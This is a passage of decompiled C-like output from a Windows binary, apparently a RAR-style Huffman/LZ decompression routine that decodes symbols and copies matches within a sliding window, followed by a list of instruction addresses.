							__eflags = _t400 -  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4));
							if(_t400 >=  *((intOrPtr*)(_t760 + 0x98 + _t527 * 4))) {
								_t695 = 0xf;
								_t576 = _t527 + 1;
								__eflags = _t576 - _t695;
								if(_t576 >= _t695) {
									L29:
									_t578 =  *(_t758 + 4) + _t695;
									 *(_t758 + 4) = _t578 & 0x00000007;
									 *_t758 =  *_t758 + (_t578 >> 3);
									_t580 = 0x10;
									_t403 = (_t400 -  *((intOrPtr*)(_t760 + 0x94 + _t695 * 4)) >> _t580 - _t695) +  *((intOrPtr*)(_t760 + 0xd8 + _t695 * 4));
									__eflags = _t403 -  *((intOrPtr*)(_t760 + 0x94));
									if(_t403 >=  *((intOrPtr*)(_t760 + 0x94))) {
										_t403 = 0;
										__eflags = 0;
									}
									_t530 =  *(_t760 + 0xd1c + _t403 * 2) & 0x0000ffff;
									goto L32;
								} else {
									_t571 = _t760 + 0x98 + _t576 * 4;
									while(1) {
										__eflags = _t400 -  *_t571;
										if(_t400 <  *_t571) {
											_t695 = _t576;
											goto L29;
										}
										_t576 = _t576 + 1;
										_t571 = _t571 + 4;
										__eflags = _t576 - 0xf;
										if(_t576 < 0xf) {
											continue;
										} else {
											goto L29;
										}
									}
									goto L29;
								}
							} else {
								_t683 = 0x10;
								_t515 = _t400 >> _t683 - _t527;
								_t686 = ( *(_t515 + _t760 + 0x11c) & 0x000000ff) +  *(_t758 + 4);
								 *_t758 =  *_t758 + (_t686 >> 3);
								 *(_t758 + 4) = _t686 & 0x00000007;
								_t530 =  *(_t760 + 0x51c + _t515 * 2) & 0x0000ffff;
								L32:
								__eflags = _t530 - 0x100;
								if(_t530 >= 0x100) {
									__eflags = _t530 - 0x106;
									if(_t530 < 0x106) {
										__eflags = _t530 - 0x100;
										if(_t530 != 0x100) {
											__eflags = _t530 - 0x101;
											if(_t530 != 0x101) {
												_t531 = _t530 + 0xfffffefe;
												__eflags = _t531;
												_t405 = _t760 + 0x54 + _t531 * 4;
												_v16 =  *_t405;
												_t583 = _t531;
												if(_t531 == 0) {
													L127:
													 *((intOrPtr*)(_t760 + 0x54)) = _v16;
													_t407 = E0040978C(_t758);
													_t532 =  *(_t760 + 0x2ddc);
													_t408 = _t407 & 0x0000fffe;
													__eflags = _t408 -  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4));
													if(_t408 >=  *((intOrPtr*)(_t760 + 0x2d5c + _t532 * 4))) {
														_t696 = 0xf;
														_t585 = _t532 + 1;
														__eflags = _t585 - _t696;
														if(_t585 >= _t696) {
															L135:
															_t587 =  *(_t758 + 4) + _t696;
															 *(_t758 + 4) = _t587 & 0x00000007;
															 *_t758 =  *_t758 + (_t587 >> 3);
															_t589 = 0x10;
															_t411 = (_t408 -  *((intOrPtr*)(_t760 + 0x2d58 + _t696 * 4)) >> _t589 - _t696) +  *((intOrPtr*)(_t760 + 0x2d9c + _t696 * 4));
															__eflags = _t411 -  *((intOrPtr*)(_t760 + 0x2d58));
															if(_t411 >=  *((intOrPtr*)(_t760 + 0x2d58))) {
																_t411 = 0;
																__eflags = 0;
															}
															_t412 =  *(_t760 + 0x39e0 + _t411 * 2) & 0x0000ffff;
															L138:
															__eflags = _t412 - 8;
															if(_t412 >= 8) {
																_t537 = (_t412 >> 2) - 1;
																_v12 = ((_t412 & 0x00000003 | 0x00000004) << _t537) + 2;
																__eflags = _t537;
																if(_t537 > 0) {
																	_t438 = E0040978C(_t758);
																	_t608 = 0x10;
																	_v12 = _v12 + (_t438 >> _t608 - _t537);
																	_t441 =  *(_t758 + 4) + _t537;
																	 *_t758 =  *_t758 + (_t441 >> 3);
																	_t442 = _t441 & 0x00000007;
																	__eflags = _t442;
																	 *(_t758 + 4) = _t442;
																}
															} else {
																_v12 = _t412 + 2;
															}
															__eflags =  *((char*)(_t760 + 0x4c38));
															 *(_t760 + 0x68) = _v12;
															if( *((char*)(_t760 + 0x4c38)) == 0) {
																_a4 = _v12;
																_t420 = _t760 + 0x70;
																_t697 =  *_t420;
																_t593 = _t697 - _v16;
																_t539 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																_v8 = _t593;
																__eflags = _t593 - _t539;
																if(_t593 >= _t539) {
																	goto L162;
																}
																__eflags = _t697 - _t539;
																if(_t697 >= _t539) {
																	goto L162;
																}
																_t421 =  *((intOrPtr*)(_t760 + 0x4b34));
																_t543 = _t421 + _t593;
																_v8 = _t421 + _t697;
																_t423 = _v12;
																 *(_t760 + 0x70) = _t423 + _t697;
																__eflags = _v16 - _t423;
																if(_v16 >= _t423) {
																	__eflags = _t423 - 8;
																	if(_t423 < 8) {
																		L154:
																		__eflags = _a4;
																		if(_a4 > 0) {
																			__eflags = _a4 - 1;
																			_t604 = _v8;
																			 *_t604 =  *_t543;
																			if(_a4 > 1) {
																				__eflags = _a4 - 2;
																				 *((char*)(_t604 + 1)) =  *((intOrPtr*)(_t543 + 1));
																				if(_a4 > 2) {
																					__eflags = _a4 - 3;
																					 *((char*)(_t604 + 2)) =  *((intOrPtr*)(_t543 + 2));
																					if(_a4 > 3) {
																						__eflags = _a4 - 4;
																						 *((char*)(_t604 + 3)) =  *((intOrPtr*)(_t543 + 3));
																						if(_a4 > 4) {
																							__eflags = _a4 - 5;
																							 *((char*)(_t604 + 4)) =  *((intOrPtr*)(_t543 + 4));
																							if(_a4 > 5) {
																								__eflags = _a4 - 6;
																								 *((char*)(_t604 + 5)) =  *((intOrPtr*)(_t543 + 5));
																								if(_a4 > 6) {
																									 *((char*)(_t604 + 6)) =  *((intOrPtr*)(_t543 + 6));
																								}
																							}
																						}
																					}
																				}
																			}
																		}
																		continue;
																	}
																	_t432 = _v12 >> 3;
																	__eflags = _t432;
																	_v16 = _t432;
																	do {
																		E0041C290(_t543, _t758, _t760, _v8, _t543, 8);
																		_v8 = _v8 + 8;
																		_a4 = _a4 - 8;
																		_t761 = _t761 + 0xc;
																		_t543 = _t543 + 8;
																		_t362 =  &_v16;
																		 *_t362 = _v16 - 1;
																		__eflags =  *_t362;
																	} while ( *_t362 != 0);
																	goto L154;
																}
																__eflags = _t423 - 8;
																if(_t423 < 8) {
																	goto L154;
																}
																_t434 = _t423 >> 3;
																__eflags = _t434;
																_t605 = _t434;
																_t435 = _v8;
																do {
																	_a4 = _a4 - 8;
																	 *_t435 =  *_t543;
																	 *((char*)(_t435 + 1)) =  *((intOrPtr*)(_t543 + 1));
																	 *((char*)(_t435 + 2)) =  *((intOrPtr*)(_t543 + 2));
																	 *((char*)(_t435 + 3)) =  *((intOrPtr*)(_t543 + 3));
																	 *((char*)(_t435 + 4)) =  *((intOrPtr*)(_t543 + 4));
																	 *((char*)(_t435 + 5)) =  *((intOrPtr*)(_t543 + 5));
																	 *((char*)(_t435 + 6)) =  *((intOrPtr*)(_t543 + 6));
																	 *((char*)(_t435 + 7)) =  *((intOrPtr*)(_t543 + 7));
																	_t543 = _t543 + 8;
																	_t435 = _t435 + 8;
																	_t605 = _t605 - 1;
																	__eflags = _t605;
																} while (_t605 != 0);
																_v8 = _t435;
																goto L154;
															} else {
																_push( *(_t760 + 0xe6dc));
																_push(_t760 + 0x70);
																_push(_v16);
																_push(_v12);
																goto L77;
															}
														}
														_t544 = _t760 + 0x2d5c + _t585 * 4;
														while(1) {
															__eflags = _t408 -  *_t544;
															if(_t408 <  *_t544) {
																break;
															}
															_t585 = _t585 + 1;
															_t544 = _t544 + 4;
															__eflags = _t585 - 0xf;
															if(_t585 < 0xf) {
																continue;
															}
															goto L135;
														}
														_t696 = _t585;
														goto L135;
													}
													_t612 = 0x10;
													_t444 = _t408 >> _t612 - _t532;
													_t615 = ( *(_t444 + _t760 + 0x2de0) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t615 >> 3);
													 *(_t758 + 4) = _t615 & 0x00000007;
													_t412 =  *(_t760 + 0x31e0 + _t444 * 2) & 0x0000ffff;
													goto L138;
												} else {
													goto L126;
												}
												do {
													L126:
													 *_t405 =  *((intOrPtr*)(_t405 - 4));
													_t583 = _t583 - 1;
													_t405 = _t405 - 4;
													__eflags = _t583;
												} while (_t583 > 0);
												goto L127;
											}
											goto L107;
										}
										_push( &_v32);
										_t453 = E00414290(_t760, _t758);
										__eflags = _t453;
										if(_t453 == 0) {
											goto L104;
										}
										goto L103;
									} else {
										_t457 = _t530 - 0x106;
										__eflags = _t457 - 8;
										if(_t457 >= 8) {
											_t554 = (_t457 >> 2) - 1;
											_v16 = ((_t457 & 0x00000003 | 0x00000004) << _t554) + 2;
											__eflags = _t554;
											if(_t554 > 0) {
												_t506 = E0040978C(_t758);
												_t676 = 0x10;
												_v16 = _v16 + (_t506 >> _t676 - _t554);
												_t509 =  *(_t758 + 4) + _t554;
												 *_t758 =  *_t758 + (_t509 >> 3);
												_t510 = _t509 & 0x00000007;
												__eflags = _t510;
												 *(_t758 + 4) = _t510;
											}
										} else {
											_v16 = _t457 + 2;
										}
										_a4 = _v16;
										_t464 = E0040978C(_t758);
										_t733 =  *(_t760 + 0x1004);
										_t465 = _t464 & 0x0000fffe;
										__eflags = _t465 -  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4));
										if(_t465 >=  *((intOrPtr*)(_t760 + 0xf84 + _t733 * 4))) {
											_t555 = 0xf;
											_t633 = _t733 + 1;
											__eflags = _t633 - _t555;
											if(_t633 >= _t555) {
												L49:
												_t635 =  *(_t758 + 4) + _t555;
												 *(_t758 + 4) = _t635 & 0x00000007;
												 *_t758 =  *_t758 + (_t635 >> 3);
												_t637 = 0x10;
												_t468 = (_t465 -  *((intOrPtr*)(_t760 + 0xf80 + _t555 * 4)) >> _t637 - _t555) +  *((intOrPtr*)(_t760 + 0xfc4 + _t555 * 4));
												__eflags = _t468 -  *((intOrPtr*)(_t760 + 0xf80));
												if(_t468 >=  *((intOrPtr*)(_t760 + 0xf80))) {
													_t468 = 0;
													__eflags = 0;
												}
												_t469 =  *(_t760 + 0x1c08 + _t468 * 2) & 0x0000ffff;
												goto L52;
											} else {
												_t753 = _t760 + 0xf84 + _t633 * 4;
												while(1) {
													__eflags = _t465 -  *_t753;
													if(_t465 <  *_t753) {
														_t555 = _t633;
														goto L49;
													}
													_t633 = _t633 + 1;
													_t753 = _t753 + 4;
													__eflags = _t633 - 0xf;
													if(_t633 < 0xf) {
														continue;
													} else {
														goto L49;
													}
												}
												goto L49;
											}
										} else {
											_t670 = 0x10;
											_t505 = _t465 >> _t670 - _t733;
											_t673 = ( *(_t505 + _t760 + 0x1008) & 0x000000ff) +  *(_t758 + 4);
											 *_t758 =  *_t758 + (_t673 >> 3);
											 *(_t758 + 4) = _t673 & 0x00000007;
											_t469 =  *(_t760 + 0x1408 + _t505 * 2) & 0x0000ffff;
											L52:
											__eflags = _t469 - 4;
											if(_t469 >= 4) {
												_t558 = (_t469 >> 1) - 1;
												_v12 = ((_t469 & 0x00000001 | 0x00000002) << _t558) + 1;
												__eflags = _t558;
												if(_t558 <= 0) {
													L71:
													_t559 = _v12;
													__eflags = _t559 - 0x100;
													if(_t559 > 0x100) {
														_a4 = _v16 + 1;
														__eflags = _t559 - 0x2000;
														if(_t559 > 0x2000) {
															_a4 = _a4 + 1;
															__eflags = _t559 - 0x40000;
															if(_t559 > 0x40000) {
																_t147 =  &_a4;
																 *_t147 = _a4 + 1;
																__eflags =  *_t147;
															}
														}
													}
													__eflags =  *((char*)(_t760 + 0x4c38));
													_t640 = _a4;
													 *((intOrPtr*)(_t760 + 0x60)) =  *((intOrPtr*)(_t760 + 0x5c));
													 *((intOrPtr*)(_t760 + 0x5c)) =  *((intOrPtr*)(_t760 + 0x58));
													 *((intOrPtr*)(_t760 + 0x58)) =  *((intOrPtr*)(_t760 + 0x54));
													 *((intOrPtr*)(_t760 + 0x54)) = _t559;
													 *(_t760 + 0x68) = _t640;
													_t477 = _t760 + 0x70;
													if( *((char*)(_t760 + 0x4c38)) == 0) {
														_t736 =  *_t477;
														_v8 = _t640;
														_t642 = _t736 - _t559;
														_t561 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
														_v16 = _t642;
														__eflags = _t642 - _t561;
														if(_t642 >= _t561) {
															L97:
															__eflags = _a4;
															if(_a4 <= 0) {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
															}
															L98:
															_t562 =  *(_t760 + 0xe6dc);
															do {
																_v8 = _v8 - 1;
																 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t477)) =  *((intOrPtr*)((_t642 & _t562) +  *((intOrPtr*)(_t760 + 0x4b34))));
																_t562 =  *(_t760 + 0xe6dc);
																_t642 = _v16 + 1;
																__eflags = _v8;
																_v16 = _t642;
																 *_t477 =  *_t477 + 0x00000001 & _t562;
															} while (_v8 > 0);
															continue;
															do {
																while(1) {
																	 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																	if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																		goto L15;
																	} else {
																		_t540 = _t760 + 0x80;
																	}
																	goto L7;
																}
																goto L97;
															} while (_a4 <= 0);
															goto L98;
														}
														__eflags = _t736 - _t561;
														if(_t736 >= _t561) {
															goto L97;
														}
														_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t642;
														_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t736;
														_t648 = _a4;
														 *_t477 = _t736 + _t648;
														__eflags = _v12 - _t648;
														if(_v12 >= _t648) {
															__eflags = _t648 - 8;
															if(_t648 < 8) {
																L88:
																_t625 = _v8;
																L89:
																__eflags = _t625;
																if(_t625 > 0) {
																	_t447 = _v16;
																	 *_t447 =  *_t551;
																	__eflags = _t625 - 1;
																	if(_t625 > 1) {
																		 *((char*)(_t447 + 1)) =  *((intOrPtr*)(_t551 + 1));
																		__eflags = _t625 - 2;
																		if(_t625 > 2) {
																			 *((char*)(_t447 + 2)) =  *((intOrPtr*)(_t551 + 2));
																			__eflags = _t625 - 3;
																			if(_t625 > 3) {
																				 *((char*)(_t447 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				__eflags = _t625 - 4;
																				if(_t625 > 4) {
																					 *((char*)(_t447 + 4)) =  *((intOrPtr*)(_t551 + 4));
																					__eflags = _t625 - 5;
																					if(_t625 > 5) {
																						 *((char*)(_t447 + 5)) =  *((intOrPtr*)(_t551 + 5));
																						__eflags = _t625 - 6;
																						if(_t625 > 6) {
																							 *((char*)(_t447 + 6)) =  *((intOrPtr*)(_t551 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																}
																continue;
																do {
																	while(1) {
																		 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																		if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																			goto L15;
																		} else {
																			_t540 = _t760 + 0x80;
																		}
																		goto L7;
																	}
																	L162:
																	__eflags = _v12;
																} while (_v12 <= 0);
																_t541 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t420)) =  *((intOrPtr*)((_t593 & _t541) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t541 =  *(_t760 + 0xe6dc);
																	_t593 = _v8 + 1;
																	__eflags = _a4;
																	_v8 = _t593;
																	 *_t420 =  *_t420 + 0x00000001 & _t541;
																} while (_a4 > 0);
																continue;
																do {
																	do {
																		do {
																			goto L7;
																			L107:
																			_t445 =  *(_t760 + 0x68);
																			__eflags = _t445;
																		} while (_t445 == 0);
																		__eflags =  *((char*)(_t760 + 0x4c38));
																		if( *((char*)(_t760 + 0x4c38)) == 0) {
																			_a4 = _t445;
																			_t446 = _t760 + 0x70;
																			_t713 =  *_t446;
																			_t618 = _t713 -  *((intOrPtr*)(_t760 + 0x54));
																			_t547 =  *((intOrPtr*)(_t760 + 0xe6d8)) + 0xffffefff;
																			_v16 = _t618;
																			__eflags = _t618 - _t547;
																			if(_t618 >= _t547) {
																				goto L121;
																			}
																			__eflags = _t713 - _t547;
																			if(_t713 >= _t547) {
																				goto L121;
																			}
																			_t551 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t618;
																			_v16 =  *((intOrPtr*)(_t760 + 0x4b34)) + _t713;
																			_t624 = _a4;
																			 *_t446 = _t713 + _t624;
																			__eflags =  *((intOrPtr*)(_t760 + 0x54)) - _t624;
																			if( *((intOrPtr*)(_t760 + 0x54)) >= _t624) {
																				__eflags = _t624 - 8;
																				if(_t624 < 8) {
																					L120:
																					_t625 = _a4;
																					goto L89;
																				}
																				_t449 = _t624 >> 3;
																				__eflags = _t449;
																				_v12 = _t449;
																				do {
																					E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																					_v16 = _v16 + 8;
																					_a4 = _a4 - 8;
																					_t761 = _t761 + 0xc;
																					_t551 = _t551 + 8;
																					_t263 =  &_v12;
																					 *_t263 = _v12 - 1;
																					__eflags =  *_t263;
																				} while ( *_t263 != 0);
																				goto L120;
																			}
																			__eflags = _t624 - 8;
																			if(_t624 < 8) {
																				goto L120;
																			}
																			_t451 = _v16;
																			_t627 = _t624 >> 3;
																			__eflags = _t627;
																			do {
																				_a4 = _a4 - 8;
																				 *_t451 =  *_t551;
																				 *((char*)(_t451 + 1)) =  *((intOrPtr*)(_t551 + 1));
																				 *((char*)(_t451 + 2)) =  *((intOrPtr*)(_t551 + 2));
																				 *((char*)(_t451 + 3)) =  *((intOrPtr*)(_t551 + 3));
																				 *((char*)(_t451 + 4)) =  *((intOrPtr*)(_t551 + 4));
																				 *((char*)(_t451 + 5)) =  *((intOrPtr*)(_t551 + 5));
																				 *((char*)(_t451 + 6)) =  *((intOrPtr*)(_t551 + 6));
																				 *((char*)(_t451 + 7)) =  *((intOrPtr*)(_t551 + 7));
																				_t551 = _t551 + 8;
																				_t451 = _t451 + 8;
																				_t627 = _t627 - 1;
																				__eflags = _t627;
																			} while (_t627 != 0);
																			_v16 = _t451;
																			goto L120;
																		}
																		_push( *(_t760 + 0xe6dc));
																		_push(_t760 + 0x70);
																		_push( *((intOrPtr*)(_t760 + 0x54)));
																		_push(_t445);
																		goto L77;
																		L103:
																		_t456 = E00415771(_t760,  &_v32);
																		__eflags = _t456;
																	} while (_t456 != 0);
																	goto L104;
																	L121:
																	__eflags = _a4;
																} while (_a4 <= 0);
																_t548 =  *(_t760 + 0xe6dc);
																do {
																	_a4 = _a4 - 1;
																	 *((char*)( *((intOrPtr*)(_t760 + 0x4b34)) +  *_t446)) =  *((intOrPtr*)((_t618 & _t548) +  *((intOrPtr*)(_t760 + 0x4b34))));
																	_t548 =  *(_t760 + 0xe6dc);
																	_t618 = _v16 + 1;
																	__eflags = _a4;
																	_v16 = _t618;
																	 *_t446 =  *_t446 + 0x00000001 & _t548;
																} while (_a4 > 0);
																 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
																if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																	goto L15;
																} else {
																	_t540 = _t760 + 0x80;
																}
															}
															_t479 = _a4 >> 3;
															__eflags = _t479;
															_a4 = _t479;
															do {
																E0041C290(_t551, _t758, _t760, _v16, _t551, 8);
																_v16 = _v16 + 8;
																_v8 = _v8 - 8;
																_t761 = _t761 + 0xc;
																_t551 = _t551 + 8;
																_t195 =  &_a4;
																 *_t195 = _a4 - 1;
																__eflags =  *_t195;
															} while ( *_t195 != 0);
															goto L88;
														}
														__eflags = _t648 - 8;
														if(_t648 < 8) {
															goto L88;
														}
														_t482 = _t648 >> 3;
														__eflags = _t482;
														_t649 = _t482;
														_t483 = _v16;
														do {
															_v8 = _v8 - 8;
															 *_t483 =  *_t551;
															 *((char*)(_t483 + 1)) =  *((intOrPtr*)(_t551 + 1));
															 *((char*)(_t483 + 2)) =  *((intOrPtr*)(_t551 + 2));
															 *((char*)(_t483 + 3)) =  *((intOrPtr*)(_t551 + 3));
															 *((char*)(_t483 + 4)) =  *((intOrPtr*)(_t551 + 4));
															 *((char*)(_t483 + 5)) =  *((intOrPtr*)(_t551 + 5));
															 *((char*)(_t483 + 6)) =  *((intOrPtr*)(_t551 + 6));
															 *((char*)(_t483 + 7)) =  *((intOrPtr*)(_t551 + 7));
															_t551 = _t551 + 8;
															_t483 = _t483 + 8;
															_t649 = _t649 - 1;
															__eflags = _t649;
														} while (_t649 != 0);
														_v16 = _t483;
														goto L88;
													} else {
														_push( *(_t760 + 0xe6dc));
														_push(_t477);
														_push(_t559);
														_push(_t640);
														L77:
														E0041264A();
														while(1) {
															 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
															if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
																goto L15;
															} else {
																_t540 = _t760 + 0x80;
															}
															goto L7;
														}
													}
												}
												__eflags = _t558 - 4;
												if(__eflags < 0) {
													_t486 = E00412AEB(_t758);
													_t651 = 0x20;
													_v12 = _v12 + (_t486 >> _t651 - _t558);
													_t489 =  *(_t758 + 4) + _t558;
													 *_t758 =  *_t758 + (_t489 >> 3);
													_t490 = _t489 & 0x00000007;
													__eflags = _t490;
													 *(_t758 + 4) = _t490;
													goto L71;
												}
												if(__eflags > 0) {
													_t498 = E00412AEB(_t758);
													_t668 = 0x24;
													_v12 = _v12 + (_t498 >> _t668 - _t558 << 4);
													_t569 =  *(_t758 + 4) + _t558 - 4;
													 *_t758 =  *_t758 + (_t569 >> 3);
													_t570 = _t569 & 0x00000007;
													__eflags = _t570;
													 *(_t758 + 4) = _t570;
												}
												_t491 = E0040978C(_t758);
												_t565 =  *(_t760 + 0x1ef0);
												_t492 = _t491 & 0x0000fffe;
												__eflags = _t492 -  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4));
												if(_t492 >=  *((intOrPtr*)(_t760 + 0x1e70 + _t565 * 4))) {
													_t750 = 0xf;
													_t656 = _t565 + 1;
													__eflags = _t656 - _t750;
													if(_t656 >= _t750) {
														L66:
														_t658 =  *(_t758 + 4) + _t750;
														 *(_t758 + 4) = _t658 & 0x00000007;
														 *_t758 =  *_t758 + (_t658 >> 3);
														_t660 = 0x10;
														_t495 = (_t492 -  *((intOrPtr*)(_t760 + 0x1e6c + _t750 * 4)) >> _t660 - _t750) +  *((intOrPtr*)(_t760 + 0x1eb0 + _t750 * 4));
														__eflags = _t495 -  *((intOrPtr*)(_t760 + 0x1e6c));
														if(_t495 >=  *((intOrPtr*)(_t760 + 0x1e6c))) {
															_t495 = 0;
															__eflags = 0;
														}
														_t496 =  *(_t760 + 0x2af4 + _t495 * 2) & 0x0000ffff;
														goto L69;
													}
													_t568 = _t760 + 0x1e70 + _t656 * 4;
													while(1) {
														__eflags = _t492 -  *_t568;
														if(_t492 <  *_t568) {
															break;
														}
														_t656 = _t656 + 1;
														_t568 = _t568 + 4;
														__eflags = _t656 - 0xf;
														if(_t656 < 0xf) {
															continue;
														}
														goto L66;
													}
													_t750 = _t656;
													goto L66;
												} else {
													_t662 = 0x10;
													_t497 = _t492 >> _t662 - _t565;
													_t665 = ( *(_t497 + _t760 + 0x1ef4) & 0x000000ff) +  *(_t758 + 4);
													 *_t758 =  *_t758 + (_t665 >> 3);
													 *(_t758 + 4) = _t665 & 0x00000007;
													_t496 =  *(_t760 + 0x22f4 + _t497 * 2) & 0x0000ffff;
													L69:
													_v12 = _v12 + _t496;
													goto L71;
												}
											}
											_v12 = _t469 + 1;
											goto L71;
										}
									}
								} else {
									__eflags =  *((char*)(_t760 + 0x4c38));
									if( *((char*)(_t760 + 0x4c38)) == 0) {
										 *( *((intOrPtr*)(_t760 + 0x4b34)) +  *(_t760 + 0x70)) = _t530;
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
									} else {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) + 1;
										 *(E00412612(_t760 + 0x4b38,  *(_t760 + 0x70))) = _t530;
									}
									while(1) {
										 *(_t760 + 0x70) =  *(_t760 + 0x70) &  *(_t760 + 0xe6dc);
										if( *_t758 <  *((intOrPtr*)(_t760 + 0x7c))) {
											goto L15;
										} else {
											_t540 = _t760 + 0x80;
										}
										goto L7;
									}
								}
							}
						}
						__eflags = _t398 - _t574;
						if(_t398 == _t574) {
							goto L21;
						}
						E00415346(_t760);
						_t517 =  *((intOrPtr*)(_t760 + 0x4c54));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c44));
						if(__eflags > 0) {
							goto L105;
						}
						if(__eflags < 0) {
							L20:
							__eflags =  *((char*)(_t760 + 0x4c48));
							if( *((char*)(_t760 + 0x4c48)) != 0) {
								 *((char*)(_t760 + 0x4c58)) = 0;
								return _t517;
							}
							goto L21;
						}
						_t517 =  *((intOrPtr*)(_t760 + 0x4c50));
						__eflags = _t517 -  *((intOrPtr*)(_t760 + 0x4c40));
						if(_t517 >  *((intOrPtr*)(_t760 + 0x4c40))) {
							goto L105;
						}
						goto L20;
					}
				}
				E004157DB(__ecx, _a4);
				_t517 = E004123EB(_t526, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t759 = _t760 + 0x80;
				_push(_t760 + 0x80);
				_t572 = _t760 + 4;
				_push(_t760 + 4);
				_t517 = E0041450F(_t760 + 4, _t760);
				if(_t517 == 0) {
					goto L105;
				}
				_t517 = E0041462B(_t572, _t760, _t572, _t759, _t760 + 0x94);
				if(_t517 == 0) {
					goto L105;
				}
				goto L4;
			}

0x00416c47
0x00416c51
0x00416c58
0x00416ca3
0x00416ca3
0x00416ca6
0x00416cac
0x00416cb4
0x00000000
0x00416cb6
0x00416cb6
0x00416cb6
0x00416cbc
0x00416cbc
0x00416cca
0x00416ccc
0x00000000
0x00000000
0x00416ce2
0x00417282
0x00000000
0x00417284
0x00416ce8
0x00416ce9
0x00416cec
0x00416cf3
0x0041728d
0x0041728d
0x00416cf9
0x00416d04
0x00416d0b
0x00000000
0x00000000
0x00000000
0x00000000
0x00416d0b
0x00416cf3
0x00416d14
0x00416d19
0x00416d1b
0x00000000
0x00000000
0x00416d21
0x00416d21
0x00416d27
0x00416d34
0x00416d3a
0x00416d7a
0x00416d7c
0x00416d81
0x00416d87
0x00416d8c
0x00416d93
0x00416dc0
0x00416dc1
0x00416dc4
0x00416dc6
0x00416de0
0x00416de3
0x00416dea
0x00416df0
0x00416dfb
0x00416e00
0x00416e07
0x00416e0d
0x00416e0f
0x00416e0f
0x00416e0f
0x00416e11
0x00000000
0x00416dc8
0x00416dc8
0x00416dcf
0x00416dcf
0x00416dd1
0x00416dde
0x00416dde
0x00416dde
0x00416dd3
0x00416dd4
0x00416dd7
0x00416dda
0x00000000
0x00416ddc
0x00000000
0x00416ddc
0x00416dda
0x00000000
0x00416dcf
0x00416d95
0x00416d97
0x00416d9a
0x00416da4
0x00416dac
0x00416db1
0x00416db4
0x00416e19
0x00416e1e
0x00416e20
0x00416e5b
0x00416e61
0x0041725b
0x0041725d
0x00417290
0x00417296
0x004173d0
0x004173d0
0x004173d6
0x004173dc
0x004173df
0x004173e1
0x004173f0
0x004173f5
0x004173f8
0x004173fd
0x00417403
0x00417408
0x0041740f
0x0041743c
0x0041743d
0x00417440
0x00417442
0x0041745c
0x0041745f
0x00417466
0x0041746c
0x00417477
0x0041747c
0x00417483
0x00417489
0x0041748b
0x0041748b
0x0041748b
0x0041748d
0x00417495
0x00417495
0x00417498
0x004174aa
0x004174b4
0x004174b7
0x004174b9
0x004174bd
0x004174c4
0x004174c9
0x004174cf
0x004174d6
0x004174d8
0x004174d8
0x004174db
0x004174db
0x0041749a
0x0041749d
0x0041749d
0x004174de
0x004174e8
0x004174eb
0x0041750b
0x0041750e
0x00417511
0x00417515
0x00417518
0x0041751e
0x00417521
0x00417523
0x00000000
0x00000000
0x00417529
0x0041752b
0x00000000
0x00000000
0x00417531
0x00417537
0x0041753c
0x0041753f
0x00417545
0x00417548
0x0041754b
0x0041759a
0x0041759d
0x004175c6
0x004175c6
0x004175ca
0x004175d0
0x004175d6
0x004175d9
0x004175db
0x004175e1
0x004175e8
0x004175eb
0x004175f1
0x004175f8
0x004175fb
0x00417601
0x00417608
0x0041760b
0x00417611
0x00417618
0x0041761b
0x00417621
0x00417628
0x0041762b
0x00417634
0x00417634
0x0041762b
0x0041761b
0x0041760b
0x004175fb
0x004175eb
0x004175db
0x00000000
0x004175ca
0x004175a2
0x004175a2
0x004175a5
0x004175a8
0x004175ae
0x004175b3
0x004175b7
0x004175bb
0x004175be
0x004175c1
0x004175c1
0x004175c1
0x004175c1
0x00000000
0x004175a8
0x0041754d
0x00417550
0x00000000
0x00000000
0x00417552
0x00417552
0x00417555
0x00417557
0x0041755a
0x0041755c
0x00417560
0x00417565
0x0041756b
0x00417571
0x00417577
0x0041757d
0x00417583
0x00417589
0x0041758c
0x0041758f
0x00417592
0x00417592
0x00417592
0x00417595
0x00000000
0x004174ed
0x004174ed
0x004174f6
0x004174f7
0x004174fa
0x00000000
0x004174fa
0x004174eb
0x00417444
0x0041744b
0x0041744b
0x0041744d
0x00000000
0x00000000
0x0041744f
0x00417450
0x00417453
0x00417456
0x00000000
0x00000000
0x00000000
0x00417458
0x0041745a
0x00000000
0x0041745a
0x00417413
0x00417416
0x00417420
0x00417428
0x0041742d
0x00417430
0x00000000
0x00000000
0x00000000
0x00000000
0x004173e3
0x004173e3
0x004173e6
0x004173e8
0x004173e9
0x004173ec
0x004173ec
0x00000000
0x004173e3
0x00000000
0x00417296
0x00417262
0x00417266
0x0041726b
0x0041726d
0x00000000
0x00000000
0x00000000
